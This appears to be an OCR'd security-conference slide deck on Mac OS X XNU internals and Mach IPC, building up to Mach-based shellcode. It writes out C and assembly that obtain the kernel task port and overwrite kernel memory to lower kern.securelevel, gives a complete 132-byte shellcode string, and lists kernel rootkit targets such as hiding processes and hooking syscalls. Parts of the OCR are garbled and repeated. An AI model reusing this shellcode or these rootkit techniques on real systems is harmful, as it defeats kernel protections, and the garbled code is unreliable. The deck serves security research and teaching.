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SECTION:
Background 1

OS X Kernel “What’s different?”

. “XNU”
* “Based on Mach”

- “Based on BSD”
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SECTION:
Background 1

OS X Kernel “XNU”

“Based on Mach”
« Mach 3.0 — Developed by Carnegie Mellon University
* Microkernel
* Only lowest level of access needed runs in kernel space
 Virtual Memory, Hardware access, IPC, etc.
 The rest runs as userland “servers”
* Networking, filesystems, etc.
« Performance issues
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SECTION:
Background 1

OS X Kernel “XNU”

“Based on BSD”
* FreeBSD 5.x
 Traditional monolithic kernel
* OS Services run in kernel mode / address space

 Drivers, network, file systems, memory
management, etc.
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SECTION:
Background

BSD + Mach = Strange Marriage
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SECTION:
Background

API|

BSD Classic Cocoa

" QuickTime
Application services

Core services

| Core foundation non-GUI API...
Core OS ("Darwin")
System utilities

Kernel ("xnu")

‘ Networking I NKE '

( POSIX

( 1/0 Kit

OS X Architecture

(http://len.wikipedia.org/wiki/File:Diagram_of_Mac_OS_X_architecture.svg)
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SECTION:
Background

API|

BSD Classic Cocoa

" QuickTime
Application services

Core services

Core foundation non-GUI API...

Core OS ("Darwin")

POSIX

1/0 Kit
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SECTION:

Background

\\
£c; : POSIX API /
5 security / Access Contro BSD syscalls
O
' VFS /
Networking Filesystems Crypto

Kernel
Kernel Threads Interrupts debugging
HW Interface IPC / RPC ! oMol Scheduling
anagement

Mach

OS X KERNEL "XNU"

Co-Location of Mach and BSD in XNU Kernel
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Typical Mac
Shellcode




SECTION:
Mac Shellcode

Most Mac Shellcode = BSD

BITS 32
GLOBAL _main

_main:
push dword 13 ; exit status = 13
sub esp, byte 4 ; padding
mov eax, 1 ; SYS_exit
int 0x80
add esp, 8
ret
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SECTION:
Mach

Mach Kernel Abstractions — Tasks &
Threads

« A task is a bundle of resources including:
 Virtual Address Space
 Port right namespace
* Mach Threads
 All code execution happens within threads
* Minimum of 1 task and 1 thread

« BSD processes and POSIX threads are built on top of mach tasks
and threads

« Every BSD process has a containing mach task
 Mach threads are not the same as POSIX threads
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SECTION:

Mach

OS X Processes

BSD

process

structure,
etc. Threads

MACH TASK

Virtual Memory Space

Port Namespace (Ports / Port
Rights)
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SECTION:

Mach

Mach Kernel Abstractions — Ports

* Ports —

* Unidirectional communication mechanism between client and
server tasks.

* Bi-directional communication requires 2 ports (Think
unidirectional pipes in unix)

* Port rights —
» Access to a port is controlled by “port rights”
* Receive
- Send
- Send-once
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SECTION:

Mach

Mach Client / Server communications

|

Threads

MACH TASK

Virtual Memory

Space

Port Namespace

Commands,
etc.

[

Threads

MACH TASK

Virtual Memory

Space

Port Namespace
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SECTION:

Mach

Mach Client / Server Note

« Mach IPC looks a lot like network communication...

 Original mach IPC was built to work across machine
boundaries

* Not the case with OS X

» Dino Dai Zovi created “Machiavelli’ to restore this functionality
to OS X (Mach IPC Proxy) — check it out!
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SECTION:

Mach

Mach API

* Mach gives us a nice RPC API for manipulating other mach
tasks

* (kernel is a mach task)
- Some useful mach functions
 task for_ pid() — Obtain handle for mach task identified by PID
» vm_write() — Write to any address within the target’ s address space
* vm_read() — Read from any address within the target’ s address space

e vm_aIIocate() — Allocate region of memory within the target’s address
space

« See /path/to/xnu/source/osfmk/man/ for man pages for these functions
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SECTION:

Mach

vm_write

» Write data to the specified address in the target task's address
space.

kern_return_t vm_write

(vm_task t target task,
vin_address_t address,
pointer t data,

mach _msg_ type number t data count);
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SECTION:

Mach

vm_read

« Read the specified range of target task's address space.

kern return_t vm_read

(vm_task t target task,
vm_address_t address,
vm_size t size,

size data out,
target_task data count);
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SECTION:

Mach

vm_allocate

 Allocate a region of virtual memory in target tasks memory

kern return_t vm_allocate

(vm_task t target task,
vin_address_t address,
vm_size t size,

boolean t anywhere) ;
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SECTION:

Mach

Demo vm_allocate()

* Demonstrate allocating memory in another task
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SECTION:
Mach

Mach “syscalls” (traps)

« BSD syscalls
« cdecl calling convention
« Syscall number in EAX
* int Ox80 instruction to invoke kernel
* Mach traps
* Negative trap (“syscall”) identifiers
 Call kernel with int 0x81
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SECTION: /* 26 */ mach_reply port

/* 27 */ thread_self trap
Mach /* 28 */ task_self trap

/* 29 */ host_self_trap

/* 31 %/ mach _msg_trap

/* 32 */ mach_msg_overwrite_trap
/* 33 */ semaphore_signal_trap

MaCh trap IiSt /* 34 */ semaphore_signal_all trap

/* 35 */ semaphore_signal_ thread_trap

(mUItipliEd by -1) /* 36 */ semaphore_wait_trap

/* 37 */ semaphore_wait_signal_trap
osfmklkernlsysca" SW.C /* 38 */ semaphore_timedwait_trap
- /* 39 */ semaphore_timedwait_signal_trap
/* 41 */ init_process

/* 43 */ map_fd

/* 44 */ task_name_for pid
/* 45 */ task_for_ pid

/* 46 */ pid_for task

/* 48 */ macx_swapon

/* 49 */ macx_swapof f

/* 51 %/ macx_triggers

/* 52 */ macx_backing_store_suspend
/* 53 */ macx_backing store_recovery

/* 59 */ swtch_pri

/* 60 */ swtch

/* 61 */ thread switch

/* 62 */ clock_sleep_trap

/* 89 */ mach_timebase_info_trap
/* 90 */ mach_wait_until_ trap

[* 91 */ mk_timer_ create_trap

/* 92 */ mk_timer_destroy_trap
/* 93 */ mk_timer_arm_trap

/* 94 */ mk_timer_ cancel_trap

/* 100 */ iokit_user_client_trap
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SECTION:

Mach

Execute mach traps from assembly

Section .text
global _start

_start:
push esp
pop ecx
mov eax, -28 ;Set and call task_self trap
int O0x81
push eax
pop ebx
Xor eax, eax
push ecx ;Address to put port right
push eax ;PID (0O for PID of kernel)
push ebx ;return value of task self()
push ebx ; Padding
mov eax, -45
int 0x81
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SECTION:

Mach

Mach traps vs. BSD syscalls

* Roughly 10x more BSD system calls than mach traps

« ~ 339 BSD system calls
* read, write, fork, exit, socket, bind, connect, ...

* 34 mach traps
* task _self trap?
° task for pid?
° clock sleep trap?

* Anything of use to us?
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SECTION:

Mach

C Wrappers

* S0... The mach APIs (documented at osfmk/man)
* vm_write()
* vm_read()
* vm_allocate()

« are actually client side C wrappers around mach
IPC mechanism
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SECTION:
Mach

Mach Interface Generator (MIG)

* MIG is a stub generator for mach IPC

» Using a MIG specification file, you can specify mach interfaces
and MIG will generate C code for the client and server sides of the
IPC

« |PC / RPC mechanisms usually have lots of redundant
plumbing code — MIG will generate it all for you (similar to
rpcgen with Sun RPC)

* MIG specification files usually end in .defs — look for them
when browsing kernel sources
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SECTION:
Mach

Mach Interface Generator (MIG)

« Generating code from .defs files

x30nScd <kernelsource>/osfmk/mach

x30nSmig *.defs
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SECTION:
Mach

Mach Interface Generator (MIG)

« Generating code from .defs files

x30n$ grep -e "DeclareSendRpc([0-9]" *|wc —1
224
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SECTION:

Mach

mach RPC messages — mach_vm_allocate
walkthrough

 mach_vmUser.c:

/* Routine mach_vm _allocate */

mig_external kern_return_t mach_vm_allocate

typedef struct {
mach_msg_header_t Head;

NDR_record_t NDR;
mach_vm_ address_t address;

mach_vm_size_t size;
int flags;
} Request;
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SECTION:

Mach

mach_vmuUser.c:

Request *InP = &Mess.In;
InP->NDR = NDR_record;
InP->address = *address;
InP->size = size;
InP->flags = flags;
InP->Head.msgh bits =
MACH_MSGH_BITS (19, MACH_MSG_TYPE_ MAKE_ SEND ONCE);
/* msgh size passed as argument */
InP->Head.msgh request port = target;
InP->Head.msgh _reply port = mig get reply port();
InP->Head.msgh_id = 4800;

msg_result = mach msg(&InP->Head, MACH_SEND MSG|MACH_RCV_MSG |
MACH_MSG_OPTION NONE, (mach msg size t)sizeof (Request),

(mach msg size t)sizeof (Reply),
InP->Head.msgh _reply port,
MACH_MSG_TIMEOUT NONE, MACH_PORT NULL);
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SECTION:

Mach

InP->NDR = NDR_record;
InP->address = *address;
InP->size = size;
InP->flags = flags;
InP->Head.msgh_bits =

MACH_MSGH_BITS (19, MACH_MSG_TYPE_MAKE_SEND ONCE);

/* msgh _size passed as argument */

InP->Head.msgh_request port = target;
InP->Head.msgh_reply port = mig get reply port();

msg_result = mach _msg(&InP->Head, MACH_SEND MSG|MACH_RCV_MSG|
MACH _MSG OPTION NONE, (mach msg size t)sizeof (Request),

(mach _msg size t)sizeof (Reply),
InP->Head.msgh_reply port, MACH_MSG_TIMEOUT NONE, MACH_PORT_NULL);
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SECTION:

Mach

mach_vmUser.c:

Request *InP = &Mess.In;

InP->NDR = NDR_record;

InP->address = *address;
InP->size = size;
InP->flags = flags;
InP->Head.msgh_bits =

MACH_MSGH_BITS (19, MACH_MSG_TYPE_MAKE_SEND ONCE);

/* msgh size passed as argument *

1ig _get _reply port();

= mach_msg (&I MACH SEND MSG|MACH_RCV_MSG |
PTION NONE, (mach ms st),

ize _t)sizeof (Reply

InP->Head.msgh

InP->Head.ms

InP->Head

msg_resu
MACH_MSG

(mach_msg
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SECTION:

Mach

vm_allocate with mach_msg (RPC)

typedef struct {
mach _msg header t Head;

NDR_record t NDR;

union {

Request In;

mach_vm_address_t address; Reply Out;
mach_vm_size_t size; } Mess;
int flags;
} Request; Request *InP = &Mess.In;
typedef struct { Reply *OutOP = &Mess.Out;
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_vm_ address_t address;
mach msg _trailer t
trailer;
} Reply;
Page 36
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SECTION:

Mach

vm_allocate with mach_msg (RPC)

task_for pid(mach_task_self(), 0, &target_task_port);

InP->address = &myaddr; //Allocated address written here
InP->size = 512; // SIZE
InP->flags = 1; //ANYWHERE FLAG

// prepare request

InP->Head.msgh_bits MACH MSGH BITS (19, MACH MSG_TYPE MAKE SEND ONCE);

InP->Head.msgh_size = sizeof (Request);
InP->Head.msgh_remote_port = kernel_ task;
InP->Head.msgh local_ port = mig_get_reply port();
InP->Head.msgh_ reserved =0,

InP->Head.msgh_id = 4800;
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SECTION:

Mach

vm_allocate with mach_msg (RPC)

// send request

msg_result = mach msg(&InP->Head, //
MACH_SEND MSG|MACH_RCV_MSG|MACH_MSG_OPTION NONE, //
(mach_msg size t)sizeof (Request), //
(mach _msg size t)sizeof (Reply), //
InP->Head.msgh local port, //
MACH_MSG_TIMEOUT_NONE, //
MACH_PORT_NULL) ; //

message buffer

option indicating send
size of header + body
receive limit

receive name

no timeout, wait forever

no notification port
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SECTION:
Mach

Sending RPC Messages

- Each kernel RPC interface is identified by a unique number
* InP->Head.msgh_id = 4800; //mach_vm_allocate
* (Grep DeclareSendRpc osfmk/mach/*)

« Each interface can have different Request / Reply data structures
« See osfmk/mach/*.c after mig generation for details.
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Mach Shellcode

4




SECTION:
Mach Shelicode 4

Mach trap list
/* 26 */ mach_reply port
/* 27 */ thread_self_ trap
/* 28 */task_self trap
/* 29 */ host_self_trap
/* 31 */mach _msg trap
/* 32 */mach msg overwrite trap
/* 33 */ semaphore_signal_trap
/* 34 */ semaphore_signal_all_trap
/* 35 */ semaphore_signal_thread_trap

/* 36 */ semaphore_wait_trap

/* 37 */ semaphore_wait_signal_trap

/* 38 */ semaphore timedwait trap

/* 39 */ semaphore_timedwait_signal_trap
/* 41 */ init_ process

/* 43 */ map_fd

/* 44 */ task_name_for pid
/* 45 */task_for_ pid
/* 46 */ pid_for_task
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SECTION:

Mach Shellcode

vm_write with mach_msg_overwrite trap

typedef struct {
mach_msg _header_t Head;

/* start of the kernel

processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t data;

/* end of the kernel

processed data */

NDR_record_t NDR;
mach_vm_address_t address;
mach_msg_type number_t dataCnt;

} Request;

InP->msgh_body.msgh_descriptor_count = 1;
InP->data.address = (void *) (data);
InP->data.size = dataCnt;
InP->data.deallocate = FALSE;
InP->data.copy = MACH MSG_VIRTUAL COPY;
MACH_MSG_OOL_DESCRIPTOR;
InP->NDR = NDR_record;

InP->data.type

InP->address = address;
InP->dataCnt dataCnt;

InP->Head.msgh bits = MACH_MSGH_BITS COMPLEX |
MACH_MSGH_BITS (19,
MACH_MSG_TYPE_MAKE_SEND_ONCE) ;

InP->Head.msgh_request_port = target_task;

InP->Head.msgh_reply port =
mig _get reply port();
InP->Head.msgh_id = 4806;
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SECTION:
Mach Shelicode 4

Sending mach messages within
shellcode

#gdb rpc_vm write

gdb$ disas main

0x00001fa3 <main+321>: mov DWORD PTR [esp],edx
0x00001fa6 <main+324>: call 0x3045 <dyld stub _mach msg overwrite_ trap>
0x00001fab <main+329>: mov DWORD PTR [ebp-0x28],eax

gdb$ break *0x1lfa6

gdb$ r

Breakpoint 1, 0x00001fa6 in main
gdb$ p (Request) *InP
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SECTION:

Mach Shellcode

4

vm_write mach msg
Request data structure

InP->msgh_body.msgh_descriptor_count = 1;
InP->data.address = &data;

InP->data.size = sizeof(data);
InP->data.deallocate = FALSE;
MACH_MSG_VIRTUAL_COPY;
MACH MSG_OOL DESCRIPTOR;
InP->NDR = NDR_record;

(vm_address_t) SECLVLADDR;

InP->data.copy

InP->data.type

InP->address =
InP->dataCnt = sizeof(data);

InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX |
MACH_MSGH_BITS (19,

MACH_MSG_TYPE MAKE_SEND_ONCE) ;
InP->Head.msgh_size = sizeof(Request);
InP->Head.msgh_remote_port = kernel_task;

InP->Head.msgh_local port =
mach_reply port();

InP->Head.msgh_id = 4806;

$7

={
Head = {
msgh_bits = 0x80001513,

},

msgh_size = 0x3c,
msgh_remote_port = 0x313,
msgh_local_port = 0x117,
msgh_reserved = Oxbffff9d4,
msgh_id = 0x12c6

msgh_body = {

}o

msgh_descriptor_ count = 0x1

data = {

},

address = Oxbfff£f928,
size = 0x4,
deallocate =
copy = Ox1,
padl 0xO0,
type Ox1

0x0,

NDR = {

mig vers = 0xO0,

if vers = 0xO0,
reservedl = 0xO0,
mig encoding = 0xO0,
int_rep = 0Ox1,
char_rep = 0x0,
float_rep = 0xO0,
reserved2 = 0x0

}s
address = 0x55¢9dO,
dataCnt = 0x4
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SECTION: $7 = {

Head =
Mach Shellcode msgh_k{>its = 0x80001513,
msgh_si = 0x3c,
msgh r ort = 0x313,
msgh ort = 0x117,

't I] msgh_re ved = Oxbffffod4,
vim_writeé macn msg msgh_id|  Dx12c6
R t data struct o
equest dala strucuure msgh_body| K
InP->msgh_body.msgh_descriptor_count = 1; } msgh_de iptor_count = 0xl
- ° ’
InP->data.address = &data; data = {
InP->data.size = sizeof(data); xbf£££928,
InP->data.deallocate = FALSE; 0x0
= X
InP->data.copy = MACH_MSG_VIRTUAL_COPY; !
InP->data.type = MACH_MSG_OOL_DESCRIPTOR;
InP->NDR = NDR_record;
InP->address = (vm_address_t) SECLVLADDR;
InP->dataCnt = sizeof(data); 0x0,
InP->Head.msgh bits = MACH MSGH BITS COMPLEX x0,
MACH_MSGH_BITS (19, 0xo0,
MACH MSG _TYPE MAKE SEND ONCE); - g = 0x0,
InP->Head.msgh_size = sizeof(Request); int_rep = 0x1,
InP->Head h £ t =k 1_task; char_rep = 0x0,
nP->Head.msgh_remote_port = kernel_task; float_rep = 0x0,
InP->Head.msgh_local_port = reserved2 = 0x0
mach_reply port(); },
InP->Head.msgh_id = 4806; address = 0x55c9d0,
dataCnt = 0x4
}
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SECTION:

Mach Shellcode

4

vm_write mach msg
Request data structure

InP->msgh_body.msgh_descriptor
InP->data.address = &data;

ount = 1;
InP->data.size = sizeof(data);
InP->data.deallocate = FALSE;
MACH_MSG_VIRTUAL_COPY;
MACH MSG_OOL DESCRIPTOR;
InP->NDR = NDR_record;

(vm_address_t) SECLVLADDR;

InP->data.copy

InP->data.type

InP->address =
InP->dataCnt = sizeof(data);

InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX
MACH_MSGH_BITS (19,

MACH MSG _TYPE MAKE SEND ONCE);
InP->Head.msgh_size = sizeof(Request);
InP->Head.msgh_remote_port = kernel_task;

InP->Head.msgh_local port =
mach_reply port();

InP->Head.msgh_id = 4806;

$7

= {
Head = {
msgh_bits = 0x80001513,

},

msgh_size = 0x3c,
msgh_remote_port = 0x313,
msgh_local_port = 0x117,
msgh_reserved = Oxbffff9d4,
msgh_id = 0x12c6

msgh_body = {

msgh_descriptor_ count = 0x1

ata =

},

address = Oxbfff£f928,
size = 0x4,
deallocate =
copy = Ox1,
padl 0xO0,
type Ox1

0x0,

NDR = {

mig vers = 0xO0,

if vers = 0xO0,
reservedl = 0xO0,
mig encoding = 0xO0,
int_rep = 0Ox1,
char_rep = 0x0,
float_rep = 0xO0,
reserved2 = 0x0

}s
address = 0x55¢9dO,
dataCnt = 0x4
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SECTION: $7 = {

Head = {
Mach Shellcode msgh bits = 0x80001513,
msgh_size = 0x3c,
msgh_remote_port = 0x313,
msgh_local_port = 0x117,

: h d = Oxbffffod4,
vm_write mach msg e o GG
b,
Request data structure msgh_body = {
InP->msgh_body.msgh_descriptor_count = 1; msgh_descriptor_count = 0x1
- . B by

InP->data.address = &data; —

data = {
InP->data.size = sizeof(data);ﬂdress = Oxbffff928,
InP->data.deallocate = FALSE; ize = 0x4,

deallocate = 0xO0,

InP->data.copy = MACH_MSG_VIRTUAL_COPY;

copy = Ox1,
InP->data.type = MACH_MSG_OOL_DESCRIPTOR; padl = 0x0,
InP->NDR = NDR_record; type = 0Ox1
InP->address = (vm_address_t) SECLVLADDR; I%Il,)R =
InP->dataCnt = sizeof(data); mig vers = 0xO0,
InP->Head.msgh_bits = MACH MSGH_BITS_ COMPLEX | if_vers = 0x0,
MACH_MSGH_BITS (19, reservedl = 0xO0,
MACH_MSG_TYPE_MAKE_SEND_ONCE) ; mig encoding = 0xO0,
InP->Head.msgh_size = sizeof(Request); int_rep = 0x1,

char_rep = 0x0,

InP->Head.msgh_remote_port = kernel_task; float rep = 0x0
) 14

InP->Head.msgh_local_port = reserved2 = 0x0
mach_reply port(); }/
InP->Head.msgh_id = 4806; address = 0x55c9d0,
dataCnt = 0x4
}
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SECTION:

Mach Shellcode

4

Sending mach messages within
shellcode

gdb$ print sizeof (Request)

$4 = 0x3c

gdb$ x/15x InP

Oxbffff8ec: 0x80001513 0x0000003c 0x00000313 0x00000117
Oxbffff8fc: Oxbfff£f9d4 0x000012c6 0x00000001 Oxbff££928
Oxbfff£f90c: 0x00000004 0x01000100 0x00000000 0x00000001
Oxbffff9lc: 0x0055¢c9d0 0x00000000 0x00000004

Request->Head

Request->msgh_body
Request->data Request->NDR

Request->address Request->dataCnt
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SECTION:
Mach Shellcode 4

Example - Writing to kernel memory

« Subverting BSD kern.securelevel security
« Kern.securelevel sysctl can be raised by user, but not lowered

* hawtness:~ x30n$ sysctl -a|grep kern.securelevel

* kern.securelevel = 0

* hawtness:~ x30n$ sudo sysctl -w kern.securelevel=1
* kern.securelevel: 0 -> 1

* hawtness:~ x30nS$ sysctl -a|grep kern.securelevel

* kern.securelevel = 1

* hawtness:~ x30n$ sudo sysctl -w kern.securelevel=0
* kern.securelevel: 1

* sysctl: kern.securelevel: Operation not permitted
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SECTION:
Mach Shellcode 4

NOTE: Not a novel target!

* Overwriting kern.securelevel is not original

* Nemo (hemo@felinemenace.org) originally showed this in
Uninformed v4

« Easy to follow example
» Write single value to a kernel address

* Don’t have to walk linked lists, etc...

* Clear demonstration of impact
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SECTION:

Mach Shellcode

: POSIX API /
security / Access Contro BSD syscalls
— Ay
@ Filesystems g

Kernel
Kernel Threads Interrupts debugging
HW Interface IPC / RPC ! oMol Scheduling
anagement

Mach

OS X KERNEL "XNU"

Co-Location of Mach and BSD in XNU Kernel
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SECTION:
Mach Shelicode 4

: POSIX API /
security / Access Contro BSD syscalls
- Y
@ Filesystems Clygae

Kernel
Kernel Threads debugging
E . = F -
HW Interface IPC/RPC
L — |

Mach

OS X KERNEL "XNU"

Co-Location of Mach and BSD in XNU Kernel
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SECTION:
Mach Shelicode 4

e
’ Yy o= 0 POSIX API /
& . BSD syscalls
=
I .
P VFS/

Kernel
Kernel Threads debugging
. e N
HW Interface IPC/RPC
S e

Mach

OS X KERNEL "XNU"

Co-Location of Mach and BSD in XNU Kernel
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Overwrite securelevel with C

* Obtain address of securelevel

* hawtness:~ x30n$ x30n$ nm /mach kernel|grep securelevel
* 0055¢c9d0 S securelevel

« Changeseclvl.c
#define SECLVLADDR 0x0055c9d0

value = atoi(argv[l]);

task for pid(mach task self (), 0, &kernel task);

vin_write (kernel task, (vm address t) SECLVLADDR,
(vim_address t) &value, sizeof (value)))
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Overwrite securelevel — Shellcode
task_self _trap, task_for_pid kernel task, mach_reply_port

Section .text

global _start

_start:
push esp
pop ecx
mov eax, Oxffffffed
mov eax, -28 ;Set and call task_self trap
int 0x81
push eax
pop ebx
xor eax, eax
push ecx ;Address to put port right
push eax ;0 (PID of kernel)
push ebx ;jreturn value of task_self ()
push ebx ; PAD
mov eax, -45 ;task_for pid trap number
int 0x81
mov eax, -26 ;Set and call mach_reply port
int 0x81
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Overwrite securelevel — Shellcode
task_self _trap, task_for_pid kernel task, mach_reply_port

Section .text

global _start

_start:
push esp
pop ecx
mov eax, Oxffffffed
mov eax, -28 ;Set and call task_self trap
int 0x81
push eax
pop ebx
xor eax,
push ecx -
push eax ’
push ebx ;T
push ebx P
mov eax, -45 ;task_for pid trap number
int 0x81
mov eax, -26 ;Set and call mach_reply port
int 0x81
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Overwrite securelevel — Shellcode
Construct request structure on stack

mov edx, eax

Xor eax, eax ;Set Value to write

push eax

push esp

mov ecx, [ecx] ;move value of kernel task port into ecx
pop ebx ;jmove pointer to data_to _write into ebx
mov al, 0x4 ;Set dataCnt

push eax

Xor eax, eax ;Set pad to O

push eax

sub eax, Oxffaa3630 ;Subtract 0xffaa3630 from 0x0 to get 0x0055¢c9d0
push eax

Xor eax, eax ;Clear eax

mov al, Ox1 ;Set NDR->int rep =1

push eax

Xor eax, eax ;Set other NDR flags

push eax

sub eax, Oxfefffeff ;Set data->deallocate, copy, padl, type flags
dec eax

push eax

Xor eax, eax ;Clear eax

mov al, Ox4 ;Set data->size sizeof(data_to write)
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Overwrite securelevel — Shellcode
Construct request structure on stack

mov edx, eax

Xor eax, eax

push eax

push esp

mov ecx, [ecx] ;move value of kernel task port into ecx
pop ebx ;jmove pointer to data_to _write into ebx
mov al, 0x4 ;Set dataCnt

push eax

Xor eax, eax ;Set pad to O

push eax

sub eax, Oxffaa3630 ;Subtract 0xffaa3630 from 0x0 to get 0x0055¢c9d0
push eax

xor eax, eax ;Clear eax

mov al, Ox1 ;Set NDR->int rep =1

push eax

Xor eax, eax ;Set other NDR flags

push eax

sub eax, Oxfefffeff ;Set data->deallocate, copy, padl, type flags
dec eax

push eax

xXor eax, eax ;Clear eax

mov al, Ox4 ;Set data->size sizeof(data_to write)
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Overwrite securelevel — Shellc

mov
xXor
push
push
mov
pop
mov
push
Xor
push
sub
push
xXor
mov
push
xXor
push
sub
dec
push
xXor
mov

edx, eax
eax, eax
eax

esp

ecx, [ecx]
ebx

al, 0x4
eax

eax, eax
eax

eax, Oxffaa3630
eax

eax, eax

al, Ox1

eax

eax, eax

eax

eax, Oxfefffeff
eax

eax
eax, eax
al, 0x4

ack

;Subtract 0xffaa3630 from 0x0 to get 0x0055c9d0

;Clear eax
;Set NDR->int rep =1

;Set other NDR flags

;Set data->deallocate, copy, padl, type flags

;Clear eax
;Set data->size sizeof(data_to write)
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Overwrite securelevel — Shellcode
Construct request structure on stack

push eax

push ebx ;push address of data_to write

xor eax, eax ;jClear eax

inc eax ;Set msgh body->msgh_descriptor count (1)

push eax

mov ax, 0xl2cé6 ;Set Head->msgh id

push eax

xXor eax, eax ;Set msgh_reserved

push eax

push edx ;Push local_port

push ecx ;Push kernel task (remote_port)

mov al, Ox3c ;Set msgh _size (Variable)

push eax

xXor eax, eax ;Set Head->msgh bits (MACH_MSGH_BITS COMPLEX
| MACH_MSGH_BITS (19,MACH_MSG_TYPE MAKE_SEND_ONCE))

sub eax, Ox7fffeaed

push eax

push esp

pop ebx ;Save address of IPC Header on stack into ebx

xor eax, eax

push eax ;Push MACH_PORT_NULL (0xO0)

push eax ;Push MACH_MSG_TIMEOUT NONE (0xO0)

push edx ;Push local mach port
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Overwrite securelevel — Shellcode
Construct request structure on stack

Xor eax, eax ;Clear eax

mov al, Ox2c ;Set sizeof (Reply)

push eax

add al, 0x10 ;Set sizeof (Request)

push eax

Xor eax, eax ;Clear eax

mov al, 0x3 ;Set option bit map (MACH_SEND MSG|MACH RCV_MSG |

MACH_MSG_OPTION_NONE)
push eax
push ebx
push ebx
mov eax, -32
int 0x81
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Overwrite securelevel — Shellcode
Construct request structure on stack

Xor eax, eax ;Clear eax

mov al, Ox2c ;Set sizeof (Reply)

push eax

add al, 0x10 ;Set sizeof (Request)

push eax

Xor eax, eax ;Clear eax

mov al, 0x3 ;Set option bit map (MACH_SEND MSG|MACH RCV_MSG |

MACH MSG_OPTION_ NONE)

push eax
push ebx
push ebx
mov eax, -32
int 0x81
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start:
- push esp
pop ecx
mov eax, -28 ;Set and call task_self_ trap
int oxsi
push eax
pop ebx
xXor eax, eax . P,
us ecx 7 ress o ort ri
us eax 58 (PID oF°kBEELY g
push ebx jreturn value of ask_self()
push ebx ;Extra pad needed because trap things it's being called as a function...
o sag -45
in x81
mov eax, -26 ;Set and call mach_reply_ port
int 0381
mov edx, eax .
Xor eax, eax ;Set Value to write
push eax
push esp
mov egx, [ecx] ;move valu of ke ngl %ask rt, into gcx
pop ebx imove pointer a_to wr e into e
mov al, Ox4 ,Set datacCnt
push eax
xorh eax, eax ;Set pad to 0O
X
gggh ggx, Oxffaa3630 ;Subtract Oxffaa3630 from 0x0 to get 0x0055c9d0
pus eax
xor eax, eax ;Clear eax
mov ,Set NDR->int_rep = 1
push eak
xorh eax, eax ;Set other NDR flags
us eax
ggg ggg, Oxfefffeff ;Set data->deallocate, copy, padl, type flags (little endian)
push eax
xor eax, eax ;jClear eax
gggh g%* 0x4 -Set data->size sizeof(data_to_write)
push ebx ush address of data_to_write
xor eax, eax lear eax
éﬁgh gg§ 'Set msgh_body->msgh_descriptor_count (1)
mov ax, O0xl2cé6 ;Set Head->msgh_id
push eax
XOor eax, eax ;Set msgh_ reserved
push eax
push edx ;Push localeort
push ecx ;Push kerneT task (remote_port)
movh al, Ox3c ,Set msgh_size (Variable)
X
§3§ ggx, eax ;Set Head->msgh_bits
sub eax, Ox7fffeaed
push eax
ush egg .
op e ;Save address of IPC Header on stack into ebx
xXor eax, eax
push eax ;Push MACH PORT NULL éOxO&
us, eax ,Pusg gACH‘MSG IMEO NONE (0x0)
us edx ; Pus cal mach port —
xor eax, eax ;jClear eax
movh al, Ox2c -Set 51zeof(Reply)
333 a?, 0x10 ;Set sizeof (Request)
push eax
Xor eax, eax ;jClear eax
mov iSet option bit map (MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_ NONE)

push eak
push ebx
push ebx
mov eax, -32
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Demo overwriting memory in kernel

« 132 Byte Shellcode (Could probably be tightened up)

char shellcode[] =

"\x54\x59\xb8\xed \xff\xff\xff\xb8\xed \xff\xff\xff\xcd\x81\x50\x5b"
"\x31\xc0\x51\x50\x53\x53\xb8\xd3\xff\xff\xff\xcd\x81\xb8\xeb6\xff"
"\xff\xff\xcd\x81\x89\xc2\x31\xc0\x50\x54\x8b\x09\x5b\xb0\x04\x50"
"\x31\xc0\x50\x2d\x30\x36\xaa\xf£f\x50\x31\xc0\xb0\x01\x50\x31\xc0"
"\x50\x2d\xff\xfe\xff\xfe\x48\x50\x31\xc0\xb0\x04\x50\x53\x31\xc0"
"\x40\x50\x66\xb8\xc6\x12\x50\x31\xc0\x50\x52\x51\xb0\x3c\x50\x31"
"\xc0\x2d\xed\xea\xf£f\x7£\x50\x54\x5b\x31\xc0\x50\x50\x52\x31\xc0"
"\xb0\x2c\x50\x04\x10\x50\x31\xc0\xb0\x03\x50\x53\x53\xb8\xe0\x£ff"
"\xff\xff\xcd\x81";
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Potential kernel rootkit targets

* Hooking
« System calls, network, etc...
* ip_protox[] — Network Protocol Handlers
» Kernel Object Manipulation
* Process list, Listening ports, etc.

« allproc — Linked list of all running processes (Hide a
PID...)

« tcbinfo — Linked list of listening ports
* Inline function patching
« Changing control flow by modifying kernel code in memory
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Bad news...

10.6 restricted task access for kernel task

According to an apple developer:

"task_for_pid() is not supported on the kernel task, no matter your
privilege level nor what API you use.

... there is no legitimate use for inspecting kernel memory.”

(http://lists.apple.com/archives/darwin-kernel/2011/Mar/msg00004.html)
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Userland

« Still can do fun mach things with userland tasks
* Thread injection

 Memory manipulation
- Etc.

« Can even come in handy for manipulating the task you're
currently in...
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 Waiting for lion, to
research method for
overcoming task for pid
restriction on kernel task
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Mach Shellcode

\\vmware-host\Shared Folders\My Desktop\hello B E m

HHe > | Bhd B 3 | @O ket F-F e X p @D O [Nodebugger v G g X
4
: Bl
Functionswindow g X ‘ DA View-a (] l (O] Hex view-a [ Structures [ =] Enums [ ®E  Imports [ Exports |
Function name __text:00001FCA ~
[F] start | text:@0001FCA ; =============== S UB RO U T I N E ======================================= 1
dyld_stub_binding_helper __text:080001FCA .
text:00001FCA ; Attributes: bp-based frame
__dyld_func_lookup —, N
i __ text:000081FCA . .
- __text:0080801FCA public _main
(7] _exit __text:0080061FCA _main proc near ; CODE XREF: start+31Tp
_puts " text:08881FCA push  ebp
__text:000081FCB mov ebp, esp
__text:880881FCD push ebx
__text:080801FCE sub esp, 14h 1
__text:00001FD1 call $+5
__ text:00001FD6 pop ebx
__text:080801FD7 lea eax, (aHelloWorld - 1FD6h)[ebx] ; "Hello World?™
__text:00001FDD [esp], eax 5 char *

TOKE ZENSHOT

ekt Mooo1PeE
__text:00001FEF
__text:B80001FEF _main
__text:B0001FEF
__text:B800801FEF _ text
__text:80801FEF

| cstring:000801FF08
| cstring:800881FF8 ; Segment type: Pure data

< > O000OFCA OO0DOLFCA: main v
< >

@ Output window J X

CUMpLIILg LLLlE . (PIUQEEW FLles (LUM|LOC L0, LU ... I

Executing function 'main'...

Compiling file 'C:3Program Files\IDAVidcl\onload.idec'...

